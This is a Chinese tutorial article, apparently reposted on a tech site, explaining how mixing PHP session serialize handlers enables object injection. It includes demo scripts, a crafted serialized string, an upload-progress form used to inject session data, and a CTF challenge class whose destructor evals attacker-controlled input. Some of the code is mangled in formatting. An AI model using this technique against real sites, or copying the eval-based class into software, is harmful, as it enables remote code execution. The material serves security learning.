首页后端开发其他后端知识PHP中session反序列化漏洞产生是什么原因

PHP中session反序列化漏洞产生是什么原因

时间2024-03-25 15:44:04发布访客分类其他后端知识浏览506
导读:这篇文章主要为大家详细介绍了PHP中session反序列化漏洞产生是什么原因的内容,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们可以参考一下,希望对大家学习或工作能有帮助,接下来就跟随小编一起来学习吧。...
这篇文章主要为大家详细介绍了PHP中session反序列化漏洞产生是什么原因的内容,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们可以参考一下,希望对大家学习或工作能有帮助,接下来就跟随小编一起来学习吧。


  

session反序列化的漏洞是由三种不同的反序列化引擎所产生的的漏洞

其中

session.serialize_handler string--定义用来序列化/反序列化的处理器名字。默认使用php

若使用如下设置:

?php
//ini_set('session.serialize_handler', 'php');
    
//ini_set("session.serialize_handler", "php_serialize");
    
ini_set("session.serialize_handler", "php_binary");
    
phpinfo();
    

则改变了序列化的引擎

save_path则是session的存放路径 我们可以通过改变ini_Set来查看不同引擎下的序列化的类型

三种引擎的存储格式:

php : a|s:3:"wzk";

php_serialize : a:1:{
    s:1:"a";
    s:3:"wzk";
}
    
php_binary : as:3:"wzk";
    

漏洞产生在于

php引擎的存储格式是键名 |serialized_string,而php_serialize引擎的存储格式是serialized_string。如果程序使用两个引擎来分别处理的话就会出现问题。
session_start() 会创建新会话或者重用现有会话。 如果通过 GET 或者 POST 方式,或者使用 cookie 提交了会话 ID, 则会重用现有会话。

所以如果存在两种不同的引擎,就可以利用session_start()的自动反序列化,把我们想要传输的数据传输到服务器中:

eg:

?php
ini_set("session.serialize_handler", "php_serialize");
    
session_start();
    
$_SESSION['swaggyp'] = $_GET['a'];
    
echo var_dump($_SESSION);
    

代码1:用来保存在本地一个session

代码2:

?php
ini_set('session.serialize_handler', 'php');
    
session_start();
    
echo var_dump($_SESSION);

class student{
    
    var $name;
    
    var $age;

    function __wakeup()
    {
    
        // TODO: Implement __wakeup() method.
        echo "wzk".$this->
    name;

    }

}

用于读取session然后进行反序列化 若wakeup方法被调用则说明反序列化成功

?php
class student{
    
    var $name;
    
    var $age;

}
    
$a = new student();
    
$a->
    nage =  "swaggyp";
    
$a->
    age = "1111";
    
echo serialize($a);

//O:7:"student":3:{
    s:4:"name";
    N;
    s:3:"age";
    s:4:"1111";
    s:4:"nage";
    s:7:"swaggyp";
}
    

该代码用于生成一个一个序列

参考于:

生成后,在1中传入这段序列化的值并在开头加入 | 则在第二个文件被解析的时候,就会把|后的内容直接当成一个类去解析 实现我们的目的

成功了

php 这个session.serialize_handler 将 | 后的字符串反序列化,导致产生恶意对象。

upload过程中会产生session,存在一个键值对的值为filename(可控),如果filename被我们修改为|+序列化对象字符串(特殊字符记得转义),filename |后的内容就会被认为是序列化的内容,进而反序列化产生恶意对象(实际上PHP中session是写到文件中的,我们暂且忽略这一中间步骤对此处并无影响),在对象自毁时去执行__destruct()内的语句

form action =“ upload.php” method =“ POST” enctype =“ multipart / form-data”>
    
    input type =“ hidden” name =“ PHP_SESSION_UPLOAD_PROGRESS” value =“ ryat” />
    
    input type =“ file” name =“ file” />
    
    input type =“ submit” />
    
/ form>
    

S E S S I O N 中 的 键 值 就 会 为 _SESSION中的键值就会为 S​ESSION中的键值就会为_SESSION[“upload_progress_ryat”],在会话上传过程中,将对会话数据进行序列化/反序列化,序列化格式由php.ini中的session.serialize_handler选项设置。 这意味着,如果在脚本中设置了不同的serialize_handler,那么可以导致注入任意session数据

题目:

?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
    
session_start();

class OowoO
{
    
    public $mdzz;

    function __construct()
    {
    
        $this->
    mdzz = 'phpinfo();
    ';

    }

    function __destruct()
    {
    
        eval($this->
    mdzz);

    }

}

if(isset($_GET['phpinfo']))
{
    
    $m = new OowoO();

}

else
{
    
    highlight_string(file_get_contents('index.php'));

}
    
?>
    

构造登录框和payload



到此这篇关于“PHP中session反序列化漏洞产生是什么原因”的文章就介绍到这了,感谢各位的阅读,更多相关PHP中session反序列化漏洞产生是什么原因内容,欢迎关注网络资讯频道,小编将为大家输出更多高质量的实用文章!

声明:本文内容由网友自发贡献,本站不承担相应法律责任。对本内容有异议或投诉,请联系2913721942#qq.com核实处理,我们将尽快回复您,谢谢合作!


若转载请注明出处: PHP中session反序列化漏洞产生是什么原因
本文地址: https://pptw.com/jishu/652877.html
PHP中403报错怎么办,有什么解决方法? php反引号和短标签如何使用呢?

游客 回复需填写必要信息